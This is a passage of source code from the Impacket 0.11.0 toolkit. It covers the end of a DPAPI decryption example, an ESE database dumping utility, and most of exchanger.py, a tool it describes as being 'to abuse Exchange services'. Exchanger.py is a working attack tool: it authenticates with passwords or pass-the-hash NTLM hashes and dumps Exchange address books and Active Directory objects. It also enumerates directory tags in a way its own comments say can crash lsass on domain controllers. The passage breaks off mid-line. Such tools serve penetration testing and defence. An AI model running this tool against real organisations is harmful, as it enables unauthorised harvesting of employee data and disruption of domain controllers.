decryption') unprotect.add_argument('-entropy-file', action='store', default=None, required=False, help='File with binary entropy contents (overwrites -entropy)') options = parser.parse_args() if len(sys.argv)==1: parser.print_help() sys.exit(1) if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) # Print the Library's installation path logging.debug(version.getInstallationPath()) else: logging.getLogger().setLevel(logging.INFO) try: executer = DPAPI(options) executer.run() except Exception as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() print('ERROR: %s' % str(e)) impacket-impacket_0_11_0/examples/esentutl.py000077500000000000000000000067451446174712300214700ustar00rootroot00000000000000#!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # # Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: # ESE utility. Allows dumping catalog, pages and tables. # # Author: # Alberto Solino (@agsolino) # # Reference for: # Extensive Storage Engine (ese) # from __future__ import division from __future__ import print_function import sys import logging import argparse from impacket.examples import logger from impacket import version from impacket.ese import ESENT_DB def dumpPage(ese, pageNum): data = ese.getPage(pageNum) data.dump() def exportTable(ese, tableName): cursor = ese.openTable(tableName) if cursor is None: logging.error('Can"t get a cursor for table: %s' % tableName) return i = 1 print("Table: %s" % tableName) while True: try: record = ese.getNextRow(cursor) except Exception: logging.debug('Exception:', exc_info=True) logging.error('Error while calling getNextRow(), trying the next one') continue if record is None: break print("*** %d" % i) for j in list(record.keys()): if record[j] is not None: print("%-30s: %r" % (j, record[j])) i += 1 def main(): print(version.BANNER) # Init the example's logger theme logger.init() parser = argparse.ArgumentParser(add_help = True, description = "Extensive Storage Engine utility. Allows dumping " "catalog, pages and tables.") parser.add_argument('databaseFile', action='store', help='ESE to open') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') parser.add_argument('-page', action='store', help='page to open') subparsers = parser.add_subparsers(help='actions', dest='action') # dump page dump_parser = subparsers.add_parser('dump', help='dumps an specific page') dump_parser.add_argument('-page', action='store', required=True, help='page to dump') # info page subparsers.add_parser('info', help='dumps the catalog info for the DB') # export page export_parser = subparsers.add_parser('export', help='dumps the catalog info for the DB') export_parser.add_argument('-table', action='store', required=True, help='table to dump') if len(sys.argv)==1: parser.print_help() sys.exit(1) options = parser.parse_args() if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) # Print the Library's installation path logging.debug(version.getInstallationPath()) else: logging.getLogger().setLevel(logging.INFO) ese = ESENT_DB(options.databaseFile) try: if options.action.upper() == 'INFO': ese.printCatalog() elif options.action.upper() == 'DUMP': dumpPage(ese, int(options.page)) elif options.action.upper() == 'EXPORT': exportTable(ese, options.table) else: raise Exception('Unknown action %s ' % options.action) except Exception as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() print(e) ese.close() if __name__ == '__main__': main() sys.exit(1) impacket-impacket_0_11_0/examples/exchanger.py000077500000000000000000001220661446174712300215640ustar00rootroot00000000000000#!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # # Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: # A tool for connecting to MS Exchange via RPC over HTTP v2 # # Notes about -rpc-hostname: # Our RPC over HTTP v2 implementation tries to extract the # target's NetBIOS name via NTLMSSP and use it as RPC Server name. # If it fails, you have to manually get the target RPC Server name # from the Autodiscover service and set it in the -rpc-hostname parameter. # # Author: # Arseniy Sharoglazov / Positive Technologies (https://www.ptsecurity.com/) # # References: # - https://swarm.ptsecurity.com/attacking-ms-exchange-web-interfaces/ # from __future__ import print_function import base64 import codecs import logging import argparse import binascii import sys from six import PY3 from impacket import uuid, version from impacket.http import AUTH_BASIC from impacket.examples import logger from impacket.examples.utils import parse_target from impacket.structure import parse_bitmask from impacket.dcerpc.v5 import transport, nspi from impacket.mapi_constants import PR_CONTAINER_FLAGS_VALUES, MAPI_PROPERTIES from impacket.dcerpc.v5.nspi import CP_TELETEX, ExchBinaryObject, \ get_guid_from_dn, get_dn_from_guid from impacket.dcerpc.v5.rpch import RPC_PROXY_REMOTE_NAME_NEEDED_ERR, \ RPC_PROXY_HTTP_IN_DATA_401_ERR, RPC_PROXY_CONN_A1_0X6BA_ERR, \ RPC_PROXY_CONN_A1_404_ERR, RPC_PROXY_RPC_OUT_DATA_404_ERR, \ RPC_PROXY_CONN_A1_401_ERR PY37ORHIGHER = sys.version_info >= (3, 7) PR_CONTAINER_FLAGS = 0x36000003 PR_ENTRYID = 0x0fff0102 PR_DEPTH = 0x30050003 PR_EMS_AB_IS_MASTER = 0xfffb000B PR_EMS_AB_CONTAINERID = 0xfffd0003 PR_EMS_AB_PARENT_ENTRYID = 0xfffc0102 PR_DISPLAY_NAME = 0x3001001F PR_EMS_AB_OBJECT_GUID = 0x8c6d0102 PR_INSTANCE_KEY = 0x0ff60102 DELIMITER = "=======================" class Exchanger: def __init__(self): self._username = '' self._password = '' self._domain = '' self._lmhash = '' self._nthash = '' self._extended_output = False self._output_type = 'hex' self._stringbinding = None self._rpctransport = None self.__outputFileName = None self.__outputFd = None def conenct_mapi(self): raise NotImplementedError('Virtual method. Not implemented in subclass!') def connect_rpc(self): raise NotImplementedError('Virtual method. Not implemented in subclass!') def load_autodiscover(self): # This should be implemented only as optional, # and the implementation should support processing emails # which do not belong to the used for the authentication account raise NotImplementedError('Not Implemented!') def set_credentials(self, username='', password='', domain='', hashes=None): self._username = username self._password = password self._domain = domain self._lmhash = '' self._nthash = '' if hashes is not None: self._lmhash, self._nthash = hashes.split(':') def set_extended_output(self, output_mode): self._extended_output = output_mode def set_output_type(self, output_type): self._output_type = output_type def set_output_file(self, filename): self.__outputFileName = filename self.__outputFd = open(self.__outputFileName, 'w+') def print(self, text): if self.__outputFd != None: if PY3: self.__outputFd.write(text + '\n') else: self.__outputFd.write((text + '\n').encode('utf-8')) print(text) def _encode_binary(self, bytestr): if PY3 and self._output_type == "hex": return "0x%s" % str(binascii.hexlify(bytestr), 'ascii') elif self._output_type == "hex": return "0x%s" % binascii.hexlify(bytestr) elif PY3: return str(base64.b64encode(bytestr), 'ascii') else: return base64.b64encode(bytestr) def __del__(self): if self.__outputFd != None: self.__outputFd.close() self.__outputFd = None class NSPIAttacks(Exchanger): PROPS_GUID = [PR_EMS_AB_OBJECT_GUID] PROPS_MINUMAL = [ 0x3a00001F, # mailNickname 0x39fe001F, # mail 0x80270102, # objectSID 0x30070040, # whenCreated 0x30080040, # whenChanged 0x8c6d0102, # objectGUID ] PROPS_EXTENDED = PROPS_MINUMAL + [ # Names 0x3a0f001f, # cn 0x8202001f, # name 0x0fff0102, # PR_ENTRYID 0x3001001f, # PR_DISPLAY_NAME 0x3a20001f, # PR_TRANSMITABLE_DISPLAY_NAME 0x39ff001f, # displayNamePrintable 0x800f101f, # proxyAddresses 0x8171001f, # lDAPDisplayName 0x8102101f, # ou 0x804b001F, # adminDisplayName # Text Properties 0x806f101f, # description 0x3004001f, # info 0x8069001f, # c 0x3a26001f, # co 0x3a2a001f, # postalCode 0x3a28001f, # st 0x3a29001f, # streetAddress 0x3a09001f, # homePhone 0x3a1c001f, # mobile 0x3a1b101f, # otherTelephone 0x3a16001f, # company 0x3a18001f, # department 0x3a17001f, # title 0x3a11001f, # sn 0x3a0a001f, # initials 0x3a06001f, # givenName # Attributes of Types 0x0ffe0003, # PR_OBJECT_TYPE 0x39000003, # PR_DISPLAY_TYPE 0x80bd0003, # instanceType # Exchange Extension Attributes 0x802d001F, # extensionAttribute1 0x802e001F, # extensionAttribute2 0x802f001F, # extensionAttribute3 0x8030001F, # extensionAttribute4 0x8031001F, # extensionAttribute5 0x8032001F, # extensionAttribute6 0x8033001F, # extensionAttribute7 0x8034001F, # extensionAttribute8 0x8035001F, # extensionAttribute9 0x8036001F, # extensionAttribute10 0x8c57001F, # extensionAttribute11 0x8c58001F, # extensionAttribute12 0x8c59001F, # extensionAttribute13 0x8c60001F, # extensionAttribute14 0x8c61001F, # extensionAttribute15 # 0x8c9e0102, # thumbnailPhoto, large # Configuration 0x81b6101e, # protocolSettings 0x8c9f001e, # msExchUserCulture 0x8c730102, # msExchMailboxGuid 0x8c96101e, # msExchResourceAddressLists, exists only for Exchange Organization object 0x8c750102, # msExchMasterAccountSid 0x8cb5000b, # msExchEnableModeration 0x8cb30003, # msExchGroupJoinRestriction 0x8ce20003, # msExchGroupMemberCount # Useful when lookuping DNTs 0x813b101e, # subRefs 0x8170101e, # networkAddress 0x8011001e, # targetAddress 0x8175101e, # url # Useful for distinguishing accounts 0x8c6a1102, # userCertificate # Assigned MId 0x0ff60102, # PR_INSTANCE_KEY ] # MS-OXNSPI # 2.1 Transport # For the network protocol sequence RPC over HTTPS, # this protocol MUST use the well-known endpoint 6004. DEFAULT_STRING_BINDING = 'ncacn_http:%s[6004,RpcProxy=%s:443]' def __init__(self): Exchanger.__init__(self) self.__handler = None self.htable = {} self.anyExistingContainerID = -1 self.props = list() self.stat = nspi.STAT() self.stat['CodePage'] = nspi.CP_TELETEX def connect_rpc(self, remoteName, rpcHostname=''): self._stringbinding = self.DEFAULT_STRING_BINDING % (rpcHostname, remoteName) logging.debug('StringBinding %s' % self._stringbinding) self._rpctransport = transport.DCERPCTransportFactory(self._stringbinding) self._rpctransport.set_credentials(self._username, self._password, self._domain, self._lmhash, self._nthash) self.__dce = self._rpctransport.get_dce_rpc() # MS-OXNSPI # 3.1.4 Message Processing Events and Sequencing Rules # # This protocol MUST indicate to the RPC runtime that it # is to perform a strict Network Data Representation (NDR) data # consistency check at target level 6.0, as specified in [MS-RPCE]. self.__dce.set_credentials(self._username, self._password, self._domain, self._lmhash, self._nthash) self.__dce.set_auth_level(6) self.__dce.connect() self.__dce.bind(nspi.MSRPC_UUID_NSPI) resp = nspi.hNspiBind(self.__dce, self.stat) self.__handler = resp['contextHandle'] def update_stat(self, table_MId): stat = nspi.STAT() stat['CodePage'] = CP_TELETEX stat['ContainerID'] = NSPIAttacks._int_to_dword(table_MId) resp = nspi.hNspiUpdateStat(self.__dce, self.__handler, stat) self.stat = resp['pStat'] def load_htable(self): resp = nspi.hNspiGetSpecialTable(self.__dce, self.__handler) resp_simpl = nspi.simplifyPropertyRowSet(resp['ppRows']) self._parse_and_set_htable(resp_simpl) def load_htable_stat(self): for MId in self.htable: self.update_stat(MId) self.htable[MId]['count'] = self.stat['TotalRecs'] self.htable[MId]['start_mid'] = self.stat['CurrentRec'] def load_htable_containerid(self): if self.anyExistingContainerID != -1: return if self.htable == {}: self.load_htable() for MId in self.htable: self.update_stat(MId) if self.stat['CurrentRec'] > 0: self.anyExistingContainerID = NSPIAttacks._int_to_dword(MId) return def _parse_and_set_htable(self, htable): self.htable = {} for ab in htable: MId = ab[PR_EMS_AB_CONTAINERID] self.htable[MId] = {} self.htable[MId]['flags'] = ab[PR_CONTAINER_FLAGS] if MId == 0: self.htable[0]['name'] = "Default Global Address List" else: self.htable[MId]['name'] = ab[PR_DISPLAY_NAME] self.htable[MId]['guid'] = get_guid_from_dn(ab[PR_ENTRYID]) if PR_EMS_AB_PARENT_ENTRYID in ab: self.htable[MId]['parent_guid'] = get_guid_from_dn(ab[PR_EMS_AB_PARENT_ENTRYID]) if PR_DEPTH in ab: self.htable[MId]['depth'] = ab[PR_DEPTH] else: self.htable[MId]['depth'] = 0 if PR_EMS_AB_IS_MASTER in ab: self.htable[MId]['is_master'] = ab[PR_EMS_AB_IS_MASTER] else: self.htable[MId]['is_master'] = 0 @staticmethod def _int_to_dword(number): if number > 0: return number else: return (number + (1 << 32)) % (1 << 32) def print_htable(self, parent_guid=None): MIds_print = [] for MId in self.htable: if parent_guid == None and 'parent_guid' not in self.htable[MId]: MIds_print.append(MId) elif parent_guid != None and 'parent_guid' in self.htable[MId] and self.htable[MId]['parent_guid'] == parent_guid: MIds_print.append(MId) for MId in MIds_print: ab = self.htable[MId] ab['printed'] = True indent = ' ' * ab['depth'] # Table name print("%s%s" % (indent, ab['name'])) # Count if 'count' in ab: print("%sTotalRecs: %d" % (indent, ab['count'])) # Table params if MId != 0: guid = uuid.bin_to_string(ab['guid']).lower() print("%sGuid: %s" % (indent, guid)) else: print("%sGuid: None" % indent) if ab['is_master'] != 0: print("%sPR_EMS_AB_IS_MASTER attribute is set!" % indent) if self._extended_output: dword = NSPIAttacks._int_to_dword(MId) print("%sAssigned MId: 0x%.08X (%d)" % (indent, dword, MId)) if 'start_mid' in ab: dword = NSPIAttacks._int_to_dword(ab['start_mid']) if dword == 2: print("%sAssigned first record MId: 0x00000002 (MID_END_OF_TABLE)" % indent) else: print("%sAssigned first record MId: 0x%.08X (%d)" % (indent, dword, ab['start_mid'])) flags = parse_bitmask(PR_CONTAINER_FLAGS_VALUES, ab['flags']) print("%sFlags: %s" % (indent, flags)) print() if MId != 0: self.print_htable(parent_guid=ab['guid']) if parent_guid == None: for MId in self.htable: if self.htable[MId]['printed'] == False: print("Found parentless object!") print("Name: %s" % self.htable[MId]['name']) print("Guid: %s" % uuid.bin_to_string(self.htable[MId]['guid']).lower()) print("Parent guid: %s" % uuid.bin_to_string(self.htable[MId]['parent_guid']).lower()) dword = NSPIAttacks._int_to_dword(MId) if MId < 0 else MId print("Assigned MId: 0x%.08X (%d)" % (dword, MId)) flags = parse_bitmask(PR_CONTAINER_FLAGS_VALUES, self.htable[MId]['flags']) print("Flags: %s" % flags) if self.htable[MId]['is_master'] != 0: print("%sPR_EMS_AB_IS_MASTER attribute is set!" % indent) print() def disconnect(self): nspi.hNspiUnbind(self.__dce, self.__handler) self.__dce.disconnect() def print_row(self, row_simpl, delimiter=None): empty = True for aulPropTag in row_simpl: PropertyId = aulPropTag >> 16 PropertyType = aulPropTag & 0xFFFF # Error, e.g. MAPI_E_NOT_FOUND if PropertyType == 0x000A: continue # PtypEmbeddedTable if PropertyType == 0x000D: continue empty = False if PropertyId in MAPI_PROPERTIES: property_name = MAPI_PROPERTIES[PropertyId][1] if property_name is None: property_name = MAPI_PROPERTIES[PropertyId][5] if property_name is None: property_name = MAPI_PROPERTIES[PropertyId][6] else: property_name = "0x%.8x" % aulPropTag if self._extended_output: property_name = "%s, 0x%.8x" % (property_name, aulPropTag) if isinstance(row_simpl[aulPropTag], ExchBinaryObject): self.print("%s: %s" % (property_name, self._encode_binary(row_simpl[aulPropTag]))) else: self.print("%s: %s" % (property_name, row_simpl[aulPropTag])) if empty == False and delimiter != None: self.print(delimiter) def load_props(self): if len(self.props) > 0: return resp = nspi.hNspiQueryColumns(self.__dce, self.__handler) for prop in resp['ppColumns']['aulPropTag']: PropertyTag = prop['Data'] PropertyType = PropertyTag & 0xFFFF if PropertyType == 0x000D: # Skipping PtypEmbeddedTable to reduce traffic continue self.props.append(PropertyTag) def req_print_table_rows(self, table_MId=None, attrs=[], count=50, eTable=None, onlyCheck=False): printOnlyGUIDs = False useAsExplicitTable = False if self.anyExistingContainerID == -1: self.load_htable_containerid() if table_MId == None and eTable == None: raise Exception("Wrong arguments!") elif table_MId != None and eTable != None: raise Exception("Wrong arguments!") elif table_MId != None: # Let's call NspiUpdateStat # It's important when the given MId is taken from the hierarchy table, # especially in Multi-Tenant environments self.update_stat(table_MId) # Table end reached if self.stat['CurrentRec'] == nspi.MID_END_OF_TABLE: # Returning False to support onlyCheck return False else: # eTable != None useAsExplicitTable = True if attrs == self.PROPS_GUID: # GUIDS firstReqProps = self.PROPS_GUID printOnlyGUIDs = True elif attrs == self.PROPS_MINUMAL: # MINIMAL firstReqProps = self.PROPS_MINUMAL elif attrs == []: # FULL # Requesting a list of all the properties that the server knows if self.props == []: self.load_props() attrs = self.props # To avoid MAPI_E_NOT_ENOUGH_RESOURCES error we request MIds, # and then use them as an Explicit Table firstReqProps = [PR_INSTANCE_KEY] useAsExplicitTable = True else: # EXTENDED and custom # # To avoid MAPI_E_NOT_ENOUGH_RESOURCES error we request MIds, # and then use them as an Explicit Table firstReqProps = [PR_INSTANCE_KEY] useAsExplicitTable = True if onlyCheck: attrs = self.PROPS_GUID firstReqProps = self.PROPS_GUID useAsExplicitTable = True while True: if eTable == None: resp = nspi.hNspiQueryRows(self.__dce, self.__handler, pStat=self.stat, Count=count, pPropTags=firstReqProps) self.stat = resp['pStat'] try: # Addressing to PropertyRowSet_r must be inside try / except, # as if the server returned a wrong result, it can be in # multiple of forms, and we cannot easily determine it # before parsing resp_rows = nspi.simplifyPropertyRowSet(resp['ppRows']) except Exception as e: resp.dumpRaw() logging.error(str(e)) raise Exception("NspiQueryRows returned wrong result") if onlyCheck: if len(resp_rows) == 0: return False for row in resp_rows: # PropertyId = 0x8C6D (objectGUID) # PropertyType = 0x000A (error) if 0x8C6D000A not in row: return True return False if useAsExplicitTable: if eTable == None: eTableInt = [] for row in resp_rows: eTableInt.append(row[PR_INSTANCE_KEY]) else: eTableInt = eTable resp = nspi.hNspiQueryRows(self.__dce, self.__handler, ContainerID=self.anyExistingContainerID, Count=count, pPropTags=attrs, lpETable=eTableInt) try: # Addressing to PropertyRowSet_r must be inside try / except, # as if the server returned a wrong result, it can be in # multiple of forms, and we cannot easily determine it # before parsing resp_rows = nspi.simplifyPropertyRowSet(resp['ppRows']) except Exception as e: resp.dumpRaw() logging.error(str(e)) raise Exception("NspiQueryRows returned wrong result while processing explicit table") if onlyCheck: if len(resp_rows) == 0: return False for row in resp_rows: # PropertyId = 0x8C6D (objectGUID) # PropertyType = 0x000A (error) if 0x8C6D000A not in row: return True return False if printOnlyGUIDs: for row in resp_rows: if PR_EMS_AB_OBJECT_GUID in row: objectGuid = row[PR_EMS_AB_OBJECT_GUID] self.print(objectGuid) else: # Empty row (wrong MId) pass else: for row in resp_rows: self.print_row(row, DELIMITER) # When the caller specified eTable it's always one NspiQueryRows call if eTable != None: break # Table end reached # It also MUST be checked after NspiUpdateStat if self.stat['CurrentRec'] == nspi.MID_END_OF_TABLE: break # This should not happen if len(resp_rows) == 0: break def req_print_guid(self, guid=None, attrs=[], count=50, guidFile=None): if guid == None and guidFile == None: raise Exception("Wrong arguments!") elif guid != None and guidFile != None: raise Exception("Wrong arguments!") if attrs == []: # Requesting a list of all the properties that the server knows if self.props == []: self.load_props() attrs = self.props if guid: printedLines = self._req_print_guid([guid], attrs) if printedLines == 0: raise Exception("Object with specified GUID not found!") return fd = open(guidFile, 'r') line = fd.readline() while True: guidList = [] # EOF if line == '': break # Reading N lines from the file for i in range(count): line = fd.readline() guid = line.strip() if guid == '' or line[0] == '#': continue guidList.append(guid) # Multiple empty lines or EOF if len(guidList) == 0: continue # Processing self._req_print_guid(guidList, attrs, DELIMITER) fd.close() def _req_print_guid(self, guidList, attrs, delimiter=None): legacyDNList = [] for guid in guidList: legacyDNList.append(get_dn_from_guid(guid, minimize=True)) resp = nspi.hNspiResolveNamesW(self.__dce, self.__handler, pPropTags=attrs, paStr=legacyDNList) try: # Addressing to PropertyRowSet_r must be inside try / except, # as if the server returned a wrong result, it can be in # multiple of forms, and we cannot easily determine it # before parsing if resp['ppRows']['cRows'] <= 0: return 0 # Addressing to PropertyRowSet_r must be inside try / except, # as if the server returned a wrong result, it can be in # multiple of forms, and we cannot easily determine it # before parsing resp_rows = nspi.simplifyPropertyRowSet(resp['ppRows']) except Exception as e: resp.dumpRaw() logging.error(str(e)) raise Exception("NspiResolveNamesW returned wrong result") for row in resp_rows: self.print_row(row, delimiter) return resp['ppRows']['cRows'] def req_print_dnt(self, start_dnt, stop_dnt, attrs=[], count=50, checkIfEmpty=False): if count <= 0 or start_dnt < 0 or stop_dnt < 0 or stop_dnt > 0xFFFFFFFF or start_dnt > 0xFFFFFFFF: raise Exception("Wrong arguments!") if stop_dnt >= start_dnt: step = count rstep = 1 else: step = -count rstep = -1 stop_dnt += rstep dnt1 = start_dnt dnt2 = start_dnt + step while True: if step > 0 and dnt2 > stop_dnt: dnt2 = stop_dnt elif step < 0 and dnt2 < stop_dnt: dnt2 = stop_dnt self.print("# MIds %d-%d:" % (dnt1, dnt2 - rstep)) if checkIfEmpty: # Speed up the process by reducing the length of request/response exists = self.req_print_table_rows(attrs=attrs, eTable=range(dnt1, dnt2, rstep), onlyCheck=True) if exists: self.req_print_table_rows(attrs=attrs, eTable=range(dnt1, dnt2, rstep)) else: self.req_print_table_rows(attrs=attrs, eTable=range(dnt1, dnt2, rstep)) if dnt2 == stop_dnt: break dnt1 += step dnt2 += step class ExchangerHelper: def __init__(self, domain, username, password, remoteName): self.__domain = domain self.__username = username self.__password = password self.__remoteName = remoteName self.exch = None def run(self, options): module = options.module.lower() submodule = options.submodule.lower() if module == 'nspi': # Checking options before connecting to the server self.nspi_check(submodule, options) self.nspi_run(submodule, options) else: raise Exception("%s module not found" % module) def nspi_run(self, submodule, options): self.exch = NSPIAttacks() self.exch.set_credentials(self.__username, self.__password, self.__domain, options.hashes) self.exch.set_extended_output(options.debug) if submodule in ['dump-tables', 'guid-known', 'dnt-lookup'] and options.output_file != None: self.exch.set_output_file(options.output_file) self.exch.connect_rpc(self.__remoteName, options.rpc_hostname) if submodule == 'list-tables': self.nspi_list_tables(options) elif submodule == 'dump-tables': self.nspi_dump_tables(options) elif submodule == 'guid-known': self.nspi_guid_known(options) elif submodule == 'dnt-lookup': self.nspi_dnt_lookup(options) self.exch.disconnect() def nspi_check(self, submodule, options): if submodule == 'dump-tables' and options.name == None and options.guid == None: dump_tables.print_help() sys.exit(1) if submodule == 'dump-tables' and options.name != None and options.guid != None: logging.error("Specify only one of -name or -guid") sys.exit(1) if submodule == 'guid-known' and options.guid == None and options.guid_file == None: guid_known.print_help() sys.exit(1) if submodule == 'guid-known' and options.guid != None and options.guid_file != None: logging.error("Specify only one of -guid or -guid-file") sys.exit(1) def nspi_list_tables(self, options): self.exch.load_htable() if options.count: self.exch.load_htable_stat() self.exch.print_htable() def nspi_dump_tables(self, options): self.exch.set_output_type(options.output_type) if options.lookup_type == None or options.lookup_type == 'MINIMAL': propTags = NSPIAttacks.PROPS_MINUMAL elif options.lookup_type == 'EXTENDED': propTags = NSPIAttacks.PROPS_EXTENDED elif options.lookup_type == 'GUIDS': propTags = NSPIAttacks.PROPS_GUID else: # FULL propTags = [] if options.name != None and options.name.lower() in ['gal', 'default global address list', 'global address list']: logging.info("Lookuping Global Address List") table_MId = 0 else: # 2.2.8 # The client obtains Minimal Entry IDs for STAT ContainerID # from the server's address book hierarchy table # # We cannot convert the GUID to a MId via NspiDNToMId or similar operations because it # may not work in Multi-Tenant environments self.exch.load_htable() if options.guid != None: logging.info("Search for an address book with objectGUID = %s" % options.guid) guid = uuid.string_to_bin(options.guid) name = None else: guid = None name = options.name table_MId = 0 for MId in self.exch.htable: if MId == 0: # GAL continue if guid is not None: # -guid if self.exch.htable[MId]['guid'] == guid: logging.debug("MId %d is assigned for %s object" % (MId, options.guid)) logging.info("Lookuping %s" % self.exch.htable[MId]['name']) table_MId = MId break else: # -name if self.exch.htable[MId]['name'] == name: guid = uuid.bin_to_string(self.exch.htable[MId]['guid']) logging.debug("MId %d is assigned for %s object" % (MId, guid)) logging.info("Lookuping address book with objectGUID = %s" % guid) table_MId = MId break if table_MId == 0: logging.error("Specified address book not found!") sys.exit(1) self.exch.req_print_table_rows(table_MId, propTags, options.rows_per_request) def nspi_guid_known(self, options): self.exch.set_output_type(options.output_type) if options.lookup_type == None or options.lookup_type == 'MINIMAL': propTags = NSPIAttacks.PROPS_MINUMAL elif options.lookup_type == 'EXTENDED': propTags = NSPIAttacks.PROPS_EXTENDED else: # FULL propTags = [] if options.guid != None: self.exch.req_print_guid(options.guid, propTags) else: self.exch.req_print_guid(attrs=propTags, count=options.rows_per_request, guidFile=options.guid_file) def nspi_dnt_lookup(self, options): if options.lookup_type == None or options.lookup_type == 'EXTENDED': propTags = NSPIAttacks.PROPS_EXTENDED elif options.lookup_type == 'GUIDS': propTags = NSPIAttacks.PROPS_GUID else: # FULL propTags = [] self.exch.req_print_dnt(options.start_dnt, options.stop_dnt, attrs=propTags, count=options.rows_per_request, checkIfEmpty=True) # Process command-line arguments. if __name__ == '__main__': # Init the example's logger theme logger.init() # Explicitly changing the stdout encoding format if sys.stdout.encoding is None: # Output is redirected to a file sys.stdout = codecs.getwriter('utf8')(sys.stdout) print(version.BANNER) class SmartFormatter(argparse.HelpFormatter): def _split_lines(self, text, width): if text.startswith('R|'): return text[2:].splitlines() else: return argparse.HelpFormatter._split_lines(self, text, width) def localized_arg(bytestring): unicode_string = bytestring.decode(sys.getfilesystemencoding()) return unicode_string parser = argparse.ArgumentParser(add_help=True, description="A tool to abuse Exchange services") parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') parser.add_argument('-debug', action='store_true', help='Turn DEBUG and EXTENDED output ON') #parser.add_argument('-transport', choices=['RPC', 'MAPI'], nargs='?', default='RPC', help='Protocol to use') parser.add_argument('-rpc-hostname', action='store', help='A name of the server in GUID (preferred) ' 'or NetBIOS name format (see description in the beggining of this file)') group = parser.add_argument_group('authentication') group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') if PY37ORHIGHER: subparsers = parser.add_subparsers(help='A module name', dest='module', required=True) else: subparsers = parser.add_subparsers(help='A module name', dest='module') # NSPI module nspi_parser = subparsers.add_parser('nspi', help='Attack NSPI interface') # Attacks for NSPI protocol if PY37ORHIGHER: nspi_attacks = nspi_parser.add_subparsers(help='A submodule name', dest='submodule', required=True) else: nspi_attacks = nspi_parser.add_subparsers(help='A submodule name', dest='submodule') list_tables = nspi_attacks.add_parser('list-tables', help='List Address Books') list_tables.add_argument('-count', action='store_true', help='Request total number of records in each table') dump_tables = nspi_attacks.add_parser('dump-tables', formatter_class=SmartFormatter, help='Dump Address Books') dump_tables.add_argument('-lookup-type', choices=['MINIMAL', 'EXTENDED', 'FULL', 'GUIDS'], nargs='?', default='MINIMAL', help='R|Lookup type:\n' ' MINIMAL - Request limited set of fields (default)\n' ' EXTENDED - Request extended set of fields\n' ' FULL - Request all fields for each row\n' ' GUIDS - Request only GUIDs') dump_tables.add_argument('-rows-per-request', action='store', type=int, metavar="50", default=50, help='Limit the number of rows per request') if PY3: dump_tables.add_argument('-name', action='store', help='Dump table with the specified name (inc. GAL)') else: dump_tables.add_argument('-name', action='store', help='Dump table with the specified name (inc. GAL)', type=localized_arg) dump_tables.add_argument('-guid', action='store', help='Dump table with the specified GUID') dump_tables.add_argument('-output-type', choices=['hex', 'base64'], nargs='?', default='hex', help='Output format for binary objects') dump_tables.add_argument('-output-file', action='store', help='Output filename') guid_known = nspi_attacks.add_parser('guid-known', formatter_class=SmartFormatter, help='Retrieve Active Directory objects by GUID / GUIDs') guid_known.add_argument('-guid', action='store', help='Dump object with the specified GUID') guid_known.add_argument('-guid-file', action='store', help='Dump objects using GUIDs from file') guid_known.add_argument('-lookup-type', choices=['MINIMAL', 'EXTENDED', 'FULL'], nargs='?', default='MINIMAL', help='R|Lookup type:\n' ' MINIMAL - Request limited set of fields (default)\n' ' EXTENDED - Request extended set of fields\n' ' FULL - Request all fields for each row') guid_known.add_argument('-rows-per-request', action='store', type=int, metavar="50", default=50, help='Limit the number of rows per request') guid_known.add_argument('-output-type', choices=['hex', 'base64'], nargs='?', default='hex', help='Output format for binary objects') guid_known.add_argument('-output-file', action='store', help='Output filename') dnt_lookup = nspi_attacks.add_parser('dnt-lookup', formatter_class=SmartFormatter, help='Lookup Distinguished Name Tags') dnt_lookup.add_argument('-lookup-type', choices=['EXTENDED', 'FULL', 'GUIDS'], nargs='?', default='EXTENDED', help='R|Lookup type:\n' ' EXTENDED - Request extended set of fields (default)\n' ' FULL - Request all fields for each row\n' ' GUIDS - Request only GUIDs') dnt_lookup.add_argument('-rows-per-request', action='store', type=int, metavar="350", default=350, help='Limit the number of rows per request') dnt_lookup.add_argument('-start-dnt', action='store', type=int, metavar="500000", default=500000, help='A DNT to start from') dnt_lookup.add_argument('-stop-dnt', action='store', type=int, metavar="0", default=0, help='A DNT to lookup to') dnt_lookup.add_argument('-output-type', choices=['hex', 'base64'], nargs='?', default='hex', help='Output format for binary objects') dnt_lookup.add_argument('-output-file', action='store', help='Output filename') if len(sys.argv) == 1: parser.print_help() sys.exit(1) options = parser.parse_args() if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) # Print the Library's installation path logging.debug(version.getInstallationPath()) else: logging.getLogger().setLevel(logging.INFO) domain, username, password, remoteName = parse_target(options.target) if domain is None: domain = '' if password == '' and username != '' and options.hashes is None: from getpass import getpass password = getpass("Password:") if options.rpc_hostname == '': # Preventing false feedback that empty hostname means something for Exchange # For autodetect -rpc-hostname should be skipped logging.error("-rpc-hostname cannot be empty") sys.exit(1) if options.rpc_hostname is None: # Autodetect options.rpc_hostname = '' try: exchHelper = ExchangerHelper(domain, username, password, remoteName) exchHelper.run(options) except KeyboardInterrupt: logging.error("KeyboardInterrupt") except Exception as e: #raise # This may contain UTF-8 error_text = 'Protocol failed: %s' % e logging.critical(error_text) if 'NspiQueryRows returned wrong result' in error_text and \ options.submodule.lower() == 'dnt-lookup': logging.critical("Most likely ntdsai.dll in lsass.exe has crashed " "on a Domain Controller while processing a DNT which " "does not support to be requested via MS-NSPI. " "The DC is probably rebooting. " "This can happend in Multi-Tenant Environment. " "You can try to request different DNT range") if 'Connection reset by peer' in error_text and \ exchHelper.exch._rpctransport.rts_ping_received == True and \ options.submodule.lower() == 'dnt-lookup': logging.critical("Most likely ntdsai.dll in lsass.exe has crashed " "on a Domain Controller while processing a DNT which " "does not support to be requested via MS-NSPI. " "The DC is probably rebooting. " "This can happend in Multi-Tenant Environment. " "You can try to request different DNT range") # This usually happens when the target is RDG # Probably may happen for Exchange 2003 / 2007 / 2010 if RPC_PROXY_CONN_A1_0X6BA_ERR in error_text: logging.critical("This usually means the 